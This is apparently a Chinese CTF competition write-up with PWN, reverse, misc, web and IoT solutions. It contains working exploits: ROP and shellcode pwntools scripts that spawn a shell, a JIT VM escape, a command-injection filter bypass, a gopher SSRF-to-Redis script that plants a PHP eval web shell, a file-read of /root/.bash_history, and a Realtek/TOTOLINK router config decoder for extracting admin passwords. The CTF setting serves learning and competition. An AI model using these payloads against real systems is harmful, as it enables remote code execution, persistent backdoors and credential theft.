PWN

fshell

通过合理构造,可以控制计算出来的IEEE754单精度浮点数的低三字节,可以设置为 pop 指令码,然后滑栈到ROP链就可以调用 read 系统调用写 shellcode,重新执行 shellcode。

from pwn import *
import os
from ctypes import *
from ae64 import AE64
from Crypto.Util.number import bytes_to_long,bytes_to_long
#--------------------setting context---------------------
context.clear(arch='i386', os='linux', log_level='debug')
# context.clear(arch='amd64', os='linux')
bk = lambda :(dbg(),pause())
dbg = lambda : gdb.attach(io)
mydb = lambda : (lg("[*] pid ==> " + str(io.__getattr__("pid"))), pause())
inter = lambda:io.interactive()
re = lambda data: io.recv(data)
sd = lambda data: io.send(data)
sl = lambda data: io.sendline(data)
rl = lambda data: io.recvuntil(data)
sa = lambda data, content: io.sendafter(data,content)
sla = lambda data, content: io.sendlineafter(data,content)
lg = lambda content : print('\x1b[01;38;5;214m' + content +'\x1b[0m')
li = lambda content,data : print('\x1b[01;38;5;214m' + content + ' == ' + hex(data) + '\x1b[0m')
l64 = lambda    :u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
def get_sb():
    return libc_base + libc.sym['system'], libc_base + next(libc.search("/bin/sh"))
def debug(c = 0):
    if(c): gdb.attach(io, c)  
    else:  bk()
def raddr(a=6):
    if(a==6):
        return u64(rv(a).ljust(8,b'\x00'))
    else:
        return u64(rl().strip('\n').ljust(8,b'\x00'))
#---------------------------------------------------------
libc = ELF('/home/henry/Documents/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')
# libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
filename = "./main"
# io = process(filename)
# io = remote("valornt.chal.pwni.ng",1337)
io = remote("pwn-afd14592d4.challenge.xctf.org.cn", 9999, ssl=True)
elf = ELF(filename)
#---------------------------------------------------------
elf_rop = ROP(elf)
# pop_rdi_ret = elf_rop.find_gadget(['pop rdi', 'ret'])[0]

def encrypt(offset, content):
    sla("@@: ", str(2))
    sla("offset:", str(offset))
    sla("encrypt:", content)

def decrypt(offset, content):
    sla("@@: ", str(3))
    sla("offset:", str(offset))
    sa("decrypt:", content)

def login(content):
    sla("@@: ", str(1))
    sla("username", "user")
    sla("password", content)

msg = 'xiaaewzl'
password = b''
for i in range(len(msg)):
    password += chr((ord(msg[i]) - 97 - 9) % 26 + 97).encode()

# debug("b *0x0804A489") # encrypt
# debug("b *0x0804A489\nb *0x0804A540") # decrypt
password += b'\0'
sla("@@: ", str(1))
sla("username", b"user\0".ljust(99, b'a'))
sla("password", password.ljust(99, b'b'))

sla("@@: ", str(6))

# debug("b *0x0804A59C") # unknow
# debug("b *0x0804A1A4\n b *0x0804A209") # unknow
# debug("b *0x0804A209") # unknow
# debug("b *0x804a1c9") # unknow

# 0x080cc83a : pop eax ; ret
# 0x08049022 : pop ebx ; ret
# 0x08087d7e : pop eax ; call edi
# 0x080D3D9D : sh
# ==============set payload==================
sh = 0x080D3D9D
pop_eax = 0x080cc83a
pop_ebx = 0x08049022
syscall = 0x0807E25F
payload = p32(pop_eax) + p32(11) + p32(pop_ebx) + p32(sh) + p32(syscall)
pay = p32(0)*2 + p32(0x807EC96) + p32(0x8103ff4) + p32(0x804A1FD)
# pay = p32(0)*2 + p32(0x807D6B9) + p32(0x8103ff4) + p32(0x804A1FD)

pay = pay.ljust(20, b'a')
decrypt(0x1, pay)
# ===========================================
# sl(str(0x501362b2)) #0x8105300    pop    edi
for i in range(3):
    # sl(str(0x3db1b0e5)) #    pop3
    sl(str(0x3db1b12c)) #    pop3
    # sl(str(0x58848409)) #    pop3
for i in range(5):
    sl(str(0x3db1b17c)) #    pop3

# sl(str(0x58bde409)) #    pop1 ret
# sl(str(0x6de48409)) #    pop2 ret
# sl(str(0x3cd8d89c)) #    pop2 eax ret # 3cd8d89c ==> 0x4b585858
sl(str(0x3dae965c)) #    push2 eax pop ebx ret
# sl(str(0x6de24138)) #    pop2 ecx ret
sl(str(0x3cd9b0e5)) #    pop ecx ebx eax ret
# sl(str(0x6dd423b8)) #    inc2 eax ret
#========================================
sl(str(0x3daa11dc)) #    inc2 eax pop ebx ret
sl(str(0x3dcef183)) #    pop ebx ret
#========================================
sl(str(0x500))

shellcode = asm("""
        pop eax
        push 0x68
        push 0x732f2f2f
        push 0x6e69622f
        mov ebx, esp
        /* push argument array ['sh\x00'] */
        /* push 'sh\x00\x00' */
        push 0x1010101
        xor dword ptr [esp], 0x1016972
        xor ecx, ecx
        push ecx /* null terminate */
        push 4
        pop ecx
        add ecx, esp
        push ecx /* 'sh\x00' */
        mov ecx, esp
        xor edx, edx
        /* call execve() */
        push 11 /* 0xb */
        pop eax
        int 0x80
""")

# debug("b *0x0804A209") # unknow
sl(shellcode)
inter()

# eax == 3

# push rax 0x50
# push rax
# pop edx 0x5a
# pop ecx 0x59
# pop eax 0x58
# pop ebx 0x5b
# inc eax 0x40
# sys_read = 0x0807EC92

unsafevm

from pwn import *

context.log_level = "debug"
context.arch = "amd64"

def gen_func_entry(hash, addr, size, callCount):
    return p16(hash) + p64(addr) + p8(size) + p8(callCount)

def pack_kowaii_bin(entry, bss, no_funcs, entry_list, code_data):
    buf = b"NEWELF" + p16(entry) + p32(0x46544358) + p16(bss) + p8(no_funcs)
    for func_entry in entry_list:
        buf += func_entry
    buf = buf.ljust(0x1000, b"\x00")
    buf += code_data
    return buf

############################## Hack Function ##############################
hack_func_code = b""
# control balanceStack vector when JITgen and make it don't crash the key heap metadata...
for _ in range(0xf):
    hack_func_code += p8(0xb5) + p8(0)                  # push reg[0]
for _ in range(0xf):
    hack_func_code += p8(0xb6) + p8(0)                  # pop reg[0]
hack_func_code += p8(0xb6) + p8(0)                      # pop reg[0]
for _ in range(8):
    hack_func_code += p8(0xb6) + p8(2)                  # pop reg[2]
hack_func_code += p8(0xb9) + p8(1) + p32(3)             # mov reg[1], 3 # modify retaddr to retaddr+3
hack_func_code += p8(0xb0) + p8(0) + p8(0) + p8(1)      # reg[0] = reg[0] + reg[1]
hack_func_code += p8(0xb5) + p8(0)                      # push reg[0]
hack_func_code += p8(0xbb)                              # ret
hack_func_hash = 0x1111
hack_func_entry = gen_func_entry(hack_func_hash, 0x4000, len(hack_func_code), 0)
##########################################################################


############################## JIT Function ##############################
jit_func_code = b""
# prepare enough space for hack_func() to hack balanceStack vector
for _ in range(8):
    jit_func_code += p8(0xb5) + p8(0)                                       # push reg[0]
jit_func_code += p8(0xba) + p16(hack_func_hash)                             # call hack_func
# this will ret in a shifted position
tmp = p8(0xff) + p8(0xb9) + p8(0) + b"\xaa" + p8(0xbc) + p8(0xbc)+ p8(0xbc) # 0xff, mov reg[0], value32(value16(b"\xaa\xbb")+value8(nop)+value8(nop)+value8(nop))
jit_func_code += p8(0xb9) + p8(0) + tmp                                     # mov reg[0], value32(tmp[:4]); nop; nop; nop

# JOP shellcode
jit_func_code += p8(0xb9) + p8(0) + asm("push r8;")+b"\xeb\x02"             # set rbx to 0
jit_func_code += p8(0xb9) + p8(0) + asm("pop rbx; nop;")+b"\xeb\x02"
## open
jit_func_code += p8(0xb9) + p8(0) + asm("push rbx; pop rcx;")+b"\xeb\x02"   # clear rcx
jit_func_code += p8(0xb9) + p8(0) + asm("push rbx; pop rdi;")+b"\xeb\x02"   # clear rdi

jit_func_code += p8(0xb9) + p8(0) + asm("push rdx; pop rsi;")+b"\xeb\x02"   # load &"flag.txt" into rsi
#jit_func_code += p8(0xb9) + p8(0) + asm("push rbx; pop rsi;")+b"\xeb\x02"   # clear rsi
jit_func_code += p8(0xb9) + p8(0) + asm("push rbx; pop rdx;")+b"\xeb\x02"   # clear rdx
jit_func_code += p8(0xb9) + p8(0) + asm("push rbx; pop rax;")+b"\xeb\x02"   # clear rax
jit_func_code += p8(0xb9) + p8(0) + asm("mov al, 0xff;")+b"\xeb\x02" 
jit_func_code += p8(0xb9) + p8(0) + asm("inc eax;")+b"\xeb\x02" 
jit_func_code += p8(0xb9) + p8(0) + asm("inc eax;")+b"\xeb\x02" 
jit_func_code += p8(0xb9) + p8(0) + asm("syscall;")+b"\xeb\x02"             # open("flag.txt", 0)
## read
jit_func_code += p8(0xb9) + p8(0) + asm("push rsi; pop rsi;")+b"\xeb\x02"
jit_func_code += p8(0xb9) + p8(0) + asm("push rax; pop rdi;")+b"\xeb\x02"
jit_func_code += p8(0xb9) + p8(0) + asm("push rbx; pop rcx;")+b"\xeb\x02"   # clear rcx
jit_func_code += p8(0xb9) + p8(0) + asm("mov cl, 0xff;")+b"\xeb\x02"
jit_func_code += p8(0xb9) + p8(0) + asm("push rcx; pop rdx;")+b"\xeb\x02"
jit_func_code += p8(0xb9) + p8(0) + asm("push rbx; pop rax;")+b"\xeb\x02"   # clear rax
jit_func_code += p8(0xb9) + p8(0) + asm("mov al, 0x0;")+b"\xeb\x02" 
jit_func_code += p8(0xb9) + p8(0) + asm("syscall;")+b"\xeb\x02"             # read(rax, bss, 0xff)
## write
jit_func_code += p8(0xb9) + p8(0) + asm("push rbx; pop rcx;")+b"\xeb\x02"   # clear rcx
jit_func_code += p8(0xb9) + p8(0) + asm("mov cl, 0x1;")+b"\xeb\x02"         # stdout
jit_func_code += p8(0xb9) + p8(0) + asm("push rcx; pop rdi;")+b"\xeb\x02"
jit_func_code += p8(0xb9) + p8(0) + asm("push rbx; pop rcx;")+b"\xeb\x02"   # clear rcx
jit_func_code += p8(0xb9) + p8(0) + asm("mov cl, 0xff;")+b"\xeb\x02"
jit_func_code += p8(0xb9) + p8(0) + asm("push rcx; pop rdx;")+b"\xeb\x02"
jit_func_code += p8(0xb9) + p8(0) + asm("push rbx; pop rax;")+b"\xeb\x02"   # clear rax
jit_func_code += p8(0xb9) + p8(0) + asm("mov al, 0x1;")+b"\xeb\x02" 
jit_func_code += p8(0xb9) + p8(0) + asm("syscall;")+b"\xeb\x02"             # write(1, bss, 0xff)
jit_func_code += p8(0xb9) + p8(0) + b"\x90\x90\xeb\x02"
jit_func_code += p8(0xbb) # ret
jit_func_hash = 0x2222
jit_func_entry = gen_func_entry(jit_func_hash, 0x3000, len(jit_func_code), 0xa-1)
########################################################################


############################ Dummy Function ############################
dummy_func_code = b""
for _ in range(0xa):
    dummy_func_code += p8(0xba) + p16(jit_func_hash)                # call jit_func
dummy_func_code += p8(0xba) + p16(jit_func_hash)                    # call jit_func
dummy_func_code += p8(0xbb) # ret
dummy_func_hash = 0x3333
dummy_func_entry = gen_func_entry(dummy_func_hash, 0x2000, len(dummy_func_code), 0)
########################################################################


############################ Entry Code ################################
entry_code = b""
# store "flag.txt" string into bss
entry_code += p8(0xb9) + p8(1) + b"/hom"                # mov reg[1], u32("flag")
entry_code += p8(0xb8) + p8(1) + p32(0)
entry_code += p8(0xb9) + p8(1) + b"e/ct"                # mov reg[1], u32(".txt")
entry_code += p8(0xb8) + p8(1) + p32(0x4)
entry_code += p8(0xb9) + p8(1) + b"f/fl"    # mov reg[1], u32("\x00\x00\x00\x00")
entry_code += p8(0xb8) + p8(1) + p32(0x8)
entry_code += p8(0xb9) + p8(1) + b"ag\x00\x00"    # mov reg[1], u32("\x00\x00\x00\x00")
entry_code += p8(0xb8) + p8(1) + p32(0x8+4)
entry_code += p8(0xba) + p16(dummy_func_hash)           # call dummy_func_code
entry_code += p8(0xbf) # hlt
########################################################################


############################ Pack Bin Data #############################
code_data = entry_code.ljust(0x1000, b"\x00")           # 0x1000
code_data += dummy_func_code.ljust(0x1000, b"\x00")     # 0x2000
code_data += jit_func_code.ljust(0x1000, b"\x00")       # 0x3000
code_data += hack_func_code.ljust(0x1000, b"\x00")      # 0x4000

exec_entry = 0x1000
bss_start = 0xc000
func_entry_list =[jit_func_entry, hack_func_entry, dummy_func_entry]
bin_data = pack_kowaii_bin(exec_entry, bss_start, len(func_entry_list), func_entry_list, code_data)
########################################################################

#p=process("./pwn")
p=remote("pwn-8bc86c67be.challenge.xctf.org.cn",9999,ssl=True)
p.sendlineafter(b'> ',bin_data+b"\x0a")
#gdb.attach(p,"b mprotect\nb*$rebase(0x0000000000003771)")
#pause()
p.sendlineafter(b'> ', b'y')

p.interactive()

Reverse

packpy

import random
random.seed(35)
key=list(range(256))
random.shuffle(key)
enc=b'\x18\xfa\xadd\xed\xab\xad\x9d\xe5\xc0\xad\xfa\xf9\x0be\xf9\xe5\xade6\xf9\xfd\x88\xf9\x9d\xe5\x9c\xe5\x9de\xc3))\x0f\xff'

def find_idx(value,key):
    for i in range(256):
        if key[i]==value:
            return i

for i in range(len(enc)):
    temp=enc[i]^95
    v=find_idx(temp,key)
    print(chr(v),end="")

ccc

IDA手撕cython,根据字符串定位地址(好像都是第二个)

image

此处就是函数的运行流程

image

v7的函数进去之后可以大致分析出是什么函数,这里注意到最后一块,v5 >> a3,所以这里是执行右移操作

image

同理v11所在函数是and

image

SetItem应该是a3[v14] = v8

image

Challenge.i2b这一块就由这三个组成,可以很容易得分析出i2b的运行逻辑

def i2b(a, b, c):
    v7 = a >> 24
    v11 = v7 & 0xff
    b[c] = v11

    v13 = a >> 16
    v8 = v13 & 0xff
    v14 = c + 1
    b[v14] = v8

    v15 = a >> 8
    v11 = v15 & 0xff
    v16 = c + 2
    b[v16] = v11

    v11 = a & 0xff
    v17 = c + 3
    b[v17] = v11

基本上所有的函数都可以这样子硬撕,看到Challenge.checkFlag

这里是设定一个数组

image

可以通过交叉引用取得数组里的值,很显然这里就是v10=78

image

通过这里获得数组

v7 = [78, 200, 117, 86, 215, 190, 169, 72, 184, 158, 163, 199, 194, 241, 60, 46]

此处同理,这里生成了一个长度为52的数组,内容都是0

image

一个生成了2个52长度的和一个1024长度的

下面还生成了一个新的数组

image

v44 = [223, 75, 84, 137, 140, 81, 0, 14, 224, 207, 10, 89, 135, 8, 150, 111, 60, 162, 243, 52, 22, 180, 122, 247, 164, 96, 161, 215, 202, 58, 184, 72, 236, 150, 96, 199, 137, 2, 73, 131, 123, 227, 143, 242, 111, 137, 65, 87]

下面这种是调用函数

image

可以通过交叉引用来获取函数名

image

下面这一块是调用部分,v197和v201分别是KeyExpend的两个参数

image

经过分析后,checkFlag函数大致如下:

def checkFlag(input):
    v197 = v7 = [78, 200, 117, 86, 215, 190, 169, 72, 184, 158, 163, 199, 194, 241, 60, 46]
    Item_KnownHash1 = [0 for i in range(52)]
    Item_KnownHash2 = [0 for i in range(52)]
    Item_KnownHash3 = [0 for i in range(1024)]
    v44 = [223, 75, 84, 137, 140, 81, 0, 14, 224, 207, 10, 89, 135, 8, 150, 111, 60, 162, 243, 52, 22, 180, 122, 247, 164, 96, 161, 215, 202, 58, 184, 72, 236, 150, 96, 199, 137, 2, 73, 131, 123, 227, 143, 242, 111, 137, 65, 87]
    keyExpend(v197, Item_KnownHash1)
    for i in range(0, 48, 8):
        func3(list(input), i, Item_KnownHash3, i, Item_KnownHash1)
    if Item_KnownHash3 == v44:
        print("nice")
    else: print("error")

那么很显然,func3就是加密部分,keyExpend不需要分析

同上分析func3大致如下:

def func3(input, i, Item_KnownHash3, i2, Item_KnownHash1):
    tmp1 = b2i(input, i)
    tmp2 = b2i(input, i + 4)
    tmp1_high = (tmp1 >> 16) & 0xffff
    tmp1_low = tmp1 & 0xffff
    tmp2_high = (tmp2 >> 16) & 0xffff
    tmp2_low = tmp2 & 0xffff
    for i in range(0, 48, 6):
        gh1 = func3_a(tmp1_high, Item_KnownHash1[i])
        gh2 = (tmp1_low + Item_KnownHash1[i + 1]) & 0xffff
        gh3 = (tmp2_low + Item_KnownHash1[i + 2]) & 0xffff
        gh4 = func3_a(tmp2_low, Item_KnownHash1[i + 3])
        gh5 = func3_a(gh1 ^ gh3, Item_KnownHash1[i + 4])
        gh6 = func3_a(((gh2 ^ gh4) + gh5) & 0xffff, Item_KnownHash1[i + 5])
        tmp1_low = gh6 ^ gh3
        tmp1_high = gh1 ^ gh6
        tmp2_low = gh4 ^ (gh5 + gh6)
        tmp2_high = (gh5 + gh6) ^ gh2

    tmp1_high = func3_a(tmp1_high, Item_KnownHash1[-4])
    tmp2_high += Item_KnownHash1[-3]
    tmp1_low += Item_KnownHash1[-2]
    tmp2_low = func3_a(tmp2_low, Item_KnownHash1[-1])
    gh10 = ((tmp1_high << 16) & 0xffff) | (tmp2_high & 0xffff)
    # print(gh10)
    i2b(gh10, Item_KnownHash3, i2)
    gh11 = ((tmp1_low << 16) & 0xffff) | (tmp2_low & 0xffff)
    # print(gh11)
    i2b(gh11, Item_KnownHash3, i2 + 4)

此处调用了func3_a,函数内容大致如下:

def func3_a(a, b):
    tmp = a * b
    v6 = v17 = tmp & 0xffff
    v18 = tmp >> 16
    v7 = v19 = v18 & 0xffff
    if v19 == v17:
        v22 = v6 - v7 + 1
    else:
        v22 = v6 - v7
    return v22

从func3中可知,参数b是固定值,我们可以通过爆破获取输入a:

def func3_a_de(enc, b):
    a = 0
    while True:
        if enc == Challenge.func3_a(a, b) & 0xffff:
            return a
        a += 1

然后func3的逆向算法如下:

def func3_de(enc, i, flag, i2, Item_KnownHash1):
    gh10 = Challenge.b2i(enc, i)
    gh11 = Challenge.b2i(enc, i + 4)
    tmp1_high = (gh10 >> 16) & 0xffff
    tmp2_high = gh10 & 0xffff
    tmp1_low = (gh11 >> 16) & 0xffff
    tmp2_low = gh11 & 0xffff
    tmp1_high = func3_a_de(tmp1_high, Item_KnownHash1[-4])
    tmp2_high = (tmp2_high - Item_KnownHash1[-3] & 0xffff)
    tmp1_low = (tmp1_low - Item_KnownHash1[-2] & 0xffff)
    tmp2_low = func3_a_de(tmp2_low, Item_KnownHash1[-1])
    # print(tmp1_high, tmp2_high, tmp1_low, tmp2_low)
    k = len(Item_KnownHash1)
    k -= 4
    for j in range(0, 48, 6)[::-1]:
        gh1_xor_gh3 = tmp1_high ^ tmp1_low
        gh2_xor_gh4 = tmp2_high ^ tmp2_low
        gh5 = Challenge.func3_a(gh1_xor_gh3 & 0xffff, Item_KnownHash1[j+4])& 0xffff
        gh6 = Challenge.func3_a((gh2_xor_gh4+gh5) & 0xffff, Item_KnownHash1[j+5])& 0xffff
        gh3 = tmp1_low ^ gh6
        gh1 = tmp1_high ^ gh6
        gh4 = tmp2_low ^ (gh5 + gh6) & 0xffff
        gh2 = tmp2_high ^ (gh5 + gh6) & 0xffff
        tmp1_high = func3_a_de(gh1, Item_KnownHash1[j])
        tmp1_low = (gh2 - Item_KnownHash1[j+1]) & 0xffff
        tmp2_high = (gh3 - Item_KnownHash1[j+2]) & 0xffff
        tmp2_low = func3_a_de(gh4, Item_KnownHash1[j+3])
    tmp1 = tmp1_low | tmp1_high << 16
    tmp2 = tmp2_low | tmp2_high << 16
    print(tmp1, tmp2)
    Challenge.i2b(tmp1, flag, i2)
    Challenge.i2b(tmp2, flag, i2+4)

完整exp:

import Challenge

def func3_a_de(enc, b):
    a = 0
    while True:
        if enc == Challenge.func3_a(a, b) & 0xffff:
            return a
        a += 1

v44 = [223, 75, 84, 137, 140, 81, 0, 14, 224, 207, 10, 89, 135, 8, 150, 111, 60, 162, 243, 52, 22, 180, 122, 247, 164,
       96, 161, 215, 202, 58, 184, 72, 236, 150, 96, 199, 137, 2, 73, 131, 123, 227, 143, 242, 111, 137, 65, 87]
v7 = [78, 200, 117, 86, 215, 190, 169, 72, 184, 158, 163, 199, 194, 241, 60, 46]
Item_KnownHash1 = [0 for i in range(52)]
Challenge.keyExpend(v7, Item_KnownHash1)
flag = [0 for i in range(48)]

def func3_de(enc, i, flag, i2, Item_KnownHash1):
    gh10 = Challenge.b2i(enc, i)
    gh11 = Challenge.b2i(enc, i + 4)
    tmp1_high = (gh10 >> 16) & 0xffff
    tmp2_high = gh10 & 0xffff
    tmp1_low = (gh11 >> 16) & 0xffff
    tmp2_low = gh11 & 0xffff
    tmp1_high = func3_a_de(tmp1_high, Item_KnownHash1[-4])
    tmp2_high = (tmp2_high - Item_KnownHash1[-3] & 0xffff)
    tmp1_low = (tmp1_low - Item_KnownHash1[-2] & 0xffff)
    tmp2_low = func3_a_de(tmp2_low, Item_KnownHash1[-1])
    # print(tmp1_high, tmp2_high, tmp1_low, tmp2_low)
    k = len(Item_KnownHash1)
    k -= 4
    for j in range(0, 48, 6)[::-1]:
        gh1_xor_gh3 = tmp1_high ^ tmp1_low
        gh2_xor_gh4 = tmp2_high ^ tmp2_low
        gh5 = Challenge.func3_a(gh1_xor_gh3 & 0xffff, Item_KnownHash1[j+4])& 0xffff
        gh6 = Challenge.func3_a((gh2_xor_gh4+gh5) & 0xffff, Item_KnownHash1[j+5])& 0xffff
        gh3 = tmp1_low ^ gh6
        gh1 = tmp1_high ^ gh6
        gh4 = tmp2_low ^ (gh5 + gh6) & 0xffff
        gh2 = tmp2_high ^ (gh5 + gh6) & 0xffff
        tmp1_high = func3_a_de(gh1, Item_KnownHash1[j])
        tmp1_low = (gh2 - Item_KnownHash1[j+1]) & 0xffff
        tmp2_high = (gh3 - Item_KnownHash1[j+2]) & 0xffff
        tmp2_low = func3_a_de(gh4, Item_KnownHash1[j+3])
    tmp1 = tmp1_low | tmp1_high << 16
    tmp2 = tmp2_low | tmp2_high << 16
    # print(tmp1, tmp2)
    Challenge.i2b(tmp1, flag, i2)
    Challenge.i2b(tmp2, flag, i2+4)

for i in range(0, 48, 8):
    func3_de(v44, i, flag, i, Item_KnownHash1)
for i in range(len(flag)):
    print(chr(flag[i]), end="")

image

flag{c620aafa-a72b-d11f-2a9d-334d595bb4a7}

MISC

两级反转

from PIL import Image

''' # 二维码转二进制
img = Image.open(r"C:\Users\HK\Desktop\8E2A248B-0EE8-42b2-B19B-C6A9CE0D47F8.png")
block = 29
bin_txt = ''

for y in range(block):
    for x in range(block):
        pixel = img.getpixel((x * 25 + 10, y * 25 + 10))

        if pixel== (0, 0, 0, 255):
            bin_txt += '1'
        else:
            bin_txt += '0'

    bin_txt += '\n'

print(bin_txt)
'''
# 二进制反转
lines = open(r"C:\Users\HK\Desktop\block.txt").readlines()
out = ''

for i in range(len(lines)):
    if i % 2 != 0:

        for word in lines[i]:
            if word == '0':
                out += '1'
            elif word == '1':
                out += '0'
            else:
                out += word
    else:
        out += lines[i]

print(out)

二进制转二维码

29_29_inverse.png

扫码拿到flag

SPY2.0

image.png

binwalk可以读到图片,但是要自己手动提取

1.png

image.png

WEB

easyweb

访问flag.php得到 然后在访问加密的代码.zip得到源码

   	<?php
   	if (isset($_GET['id']) && floatval($_GET['id']) !== '1' && $_GET['id'] == 1) 
   	{
   		echo 'welcome,admin';
   		$_SESSION['admin'] = True;
   	} 
   	else 
   	{
      die('flag?');
   	}
   	?>

   	<?php
   if ($_SESSION['admin']) 
   {
     if(isset($_POST['code']))
     {
      if(preg_match("/(ls|c|a|t| |f|i|n|d')/", $_POST['code'])==1)
       echo 'no!';
      elseif(preg_match("/[@#%^&*()|\/?><']/",$_POST['code'])==1)
       echo 'no!';
else
    system($_POST['code']);
     }
   }
   ?>

第一步id=1 9就能绕过 第二步l${b}s 可以绕过查看当前目录

图片.png

访问7l8g得到lflag

tantantan

探测发现aaabbb.php的data参数存在ssrf漏洞 然后利用ssrf打redis 我这里是写马 脚本网上一大堆

import urllib

protocol = "gopher://"
ip = "127.0.0.1"
port = "6379"
shell = "\n\n<?php @eval($_POST[0]);?>\n\n"
filename = "shell1.php"
path = "/var/www/html"
passwd = ""
cmd = ["flushall",
       "set 1 {}".format(shell.replace(" ", "${IFS}")),
       "config set dir {}".format(path),
       "config set dbfilename {}".format(filename),
       "save"
       ]
if passwd:
    cmd.insert(0, "AUTH {}".format(passwd))
payload = protocol + ip + ":" + port + "/_"


def redis_format(arr):
    CRLF = "\r\n"
    redis_arr = arr.split(" ")
    cmd = ""
    cmd += "*" + str(len(redis_arr))
    for x in redis_arr:
        cmd += CRLF + "$" + str(len((x.replace("${IFS}", " ")))) + CRLF + x.replace("${IFS}", " ")
    cmd += CRLF
    return cmd


if __name__ == "__main__":
    for x in cmd:
        payload += urllib.quote(redis_format(x))
    print payload

传参注意编码问题

图片.png

访问shell1.php

图片.png

where

http://web-1d2e51ca4f.challenge.xctf.org.cn/look?file=/root/.bash_history

71731359535

IOT

special

使用binwalk分解固件

binwalk -Me firmware.bin

将其中C图标和Web图标的文件提取出来

image-20240601152036906

image-20240601152141680

对源代码进行审计,发现若干个网站路径,并且题干中提示怀疑其中存在漏洞,因此尝试Google搜索每一个路径

发现CVE-2019-19825与此其中一个路径高度吻合

image-20240601152617871

image-20240601152635986

image-20240601152647589

查阅相关资料发现CVE-2019-19822至CVE-2019-19825都为同型号漏洞

复现博客:https://sploit.tech/2019/12/16/Realtek-TOTOLINK.html

exp地址:https://sploit.tech/files/CVE-2019-19822-19825-exploit.sh

本题我们只需要解密管理员用户密码,因此只需要保存decode.c即可

/**
 * Based on apmib.h from:
 * Copyright (C) 2006-2009 OpenWrt.org
 * Original author - David Hsu <davidhsu@realtek.com.tw>
 */

#include <sys/mman.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <endian.h>

#define N		 4096	/* size of ring buffer */
#define F		   18	/* upper limit for match_length */
#define THRESHOLD	2   /* encode string into position and length if match_length is greater than this */
static unsigned char *text_buf;	/* ring buffer of size N, with extra F-1 bytes to facilitate string comparison */
#define LZSS_TYPE	unsigned short
#define NIL			N	/* index for root of binary search trees */
struct lzss_buffer {
    unsigned char	text_buf[N + F - 1];
    LZSS_TYPE	lson[N + 1];
    LZSS_TYPE	rson[N + 257];
    LZSS_TYPE	dad[N + 1];
};
static LZSS_TYPE		match_position, match_length;  /* of longest match.  These are set by the InsertNode() procedure. */
static LZSS_TYPE		*lson, *rson, *dad;  /* left & right children & parents -- These constitute binary search trees. */


typedef struct compress_mib_header {
    unsigned char signature[6];
    unsigned short compRate;
    unsigned int compLen;
} COMPRESS_MIB_HEADER_T;

#define handle_error(msg) \
           do { perror(msg); exit(EXIT_FAILURE); } while (0)

int Decode(unsigned char *ucInput, unsigned int inLen, unsigned char *ucOutput)	/* Just the reverse of Encode(). */
{
    
    int  i, j, k, r, c;
    unsigned int  flags;
    unsigned int ulPos=0;
    unsigned int ulExpLen=0;

    if ((text_buf = malloc( N + F - 1 )) == 0) {
        //fprintf(stderr, "fail to get mem %s:%d\n", __FUNCTION__, __LINE__);
        return 0;
    }
    
    for (i = 0; i < N - F; i++)
        text_buf[i] = ' ';

        
    r = N - F;
    flags = 0;
    while(1) {
        if (((flags >>= 1) & 256) == 0) {
            c = ucInput[ulPos++];
            if (ulPos>inLen)
                break;
            flags = c | 0xff00;		/* uses higher byte cleverly */
        }							/* to count eight */
        if (flags & 1) {
            c = ucInput[ulPos++];
            if ( ulPos > inLen )
                break;
            ucOutput[ulExpLen++] = c;
            text_buf[r++] = c;
            r &= (N - 1);
        } else {
            i = ucInput[ulPos++];
            if ( ulPos > inLen ) break;
            j = ucInput[ulPos++];
            if ( ulPos > inLen ) break;
            
            i |= ((j & 0xf0) << 4);
            j = (j & 0x0f) + THRESHOLD;
            for (k = 0; k <= j; k++) {
                c = text_buf[(i + k) & (N - 1)];
                ucOutput[ulExpLen++] = c;
                text_buf[r++] = c;
                r &= (N - 1);
            }
        }
    }

    free(text_buf);
    return ulExpLen;

}


void main(int argc, char**argv) {
           char *addr;
           int fd;
           struct stat sb;
           off_t offset, pa_offset;
           size_t length;
           ssize_t s;
           char* filename = "config.dat";

           COMPRESS_MIB_HEADER_T * header;

           if (argc>2) {
             printf("Wrong number of parameters!");
             exit(1);
           }
           if (argc==2) {
             filename=argv[1];
           }
           
           fd = open(filename, O_RDONLY);
           if (fd == -1)
               handle_error("open");

           if (fstat(fd, &sb) == -1)           /* To obtain file size */
               handle_error("fstat");


           addr = mmap(NULL, sb.st_size, PROT_READ, MAP_PRIVATE, fd, 0);

           header = (COMPRESS_MIB_HEADER_T*)addr;

           
           printf("%u\n", be16toh(header->compRate));
           printf("%u\n", be32toh(header->compLen));
           printf("%u\n", sb.st_size);
           unsigned char *expFile=NULL;
           expFile=calloc(1,be16toh(header->compRate)*be32toh(header->compLen));


           
           unsigned int expandLen = Decode(addr+sizeof(COMPRESS_MIB_HEADER_T), be32toh(header->compLen), expFile);

           printf("%u\n", expandLen);
           printf("%.*s\n",100, expFile);
           fwrite(expFile, 1, expandLen, stdout);
           //flash_read_raw_mib("config.dat");
}

随后gcc编译即可

gcc -o decode decode.c

根据之前审计时信息可以猜到,文件内容没有损坏,只是文件目录、文件名损坏,因此我们尝试遍历每个文件,并解密

#!/bin/bash
# 设置文件夹路径
DIRECTORY="./_firmware.bin.extracted"

# 遍历目录中的所有文件
for file in "$DIRECTORY"/*
do
    echo "Processing $file..."
    # 对每个文件执行你的命令
    # 解码,转为十六进制,删除换行,搜索特定模式,处理输出
    ./decode "$file" | xxd -p | tr -d '\n' | grep -Po 'b7001f.*?00' | sed 's#00$##g' | sed 's#b7001f##g' | xxd -r -p
done

运行sh文件即可,发现文件为2F3B94,解密后密码为H3r0s1mpl3

image-20240601153404924

验证一下

# 设置文件路径
FILE_PATH="./_firmware.bin.extracted/2F3B94"
DECODE_CMD="./decode"  # 设置decode命令的路径

# 确保decode命令存在并且可执行
if [ ! -x "$DECODE_CMD" ]; then
    echo "Decode command not found or not executable: $DECODE_CMD"
    exit 1
fi

# 处理文件以提取密码
P=$("$DECODE_CMD" "$FILE_PATH" | xxd -p | tr -d '\n' | grep -Po 'b7001f.*?00' | sed 's#00$##g' | sed 's#b7001f##g' | xxd -r -p)

# 处理文件以提取用户名
U=$("$DECODE_CMD" "$FILE_PATH" | xxd -p | tr -d '\n' | grep -Po 'b6001f.*?00' | sed 's#00$##g' | sed 's#b6001f##g' | xxd -r -p)

# 打印用户名和密码
echo "User: $U"
echo "Password: $P"

image-20240601154447013

确定管理员密码为:H3r0s1mpl3

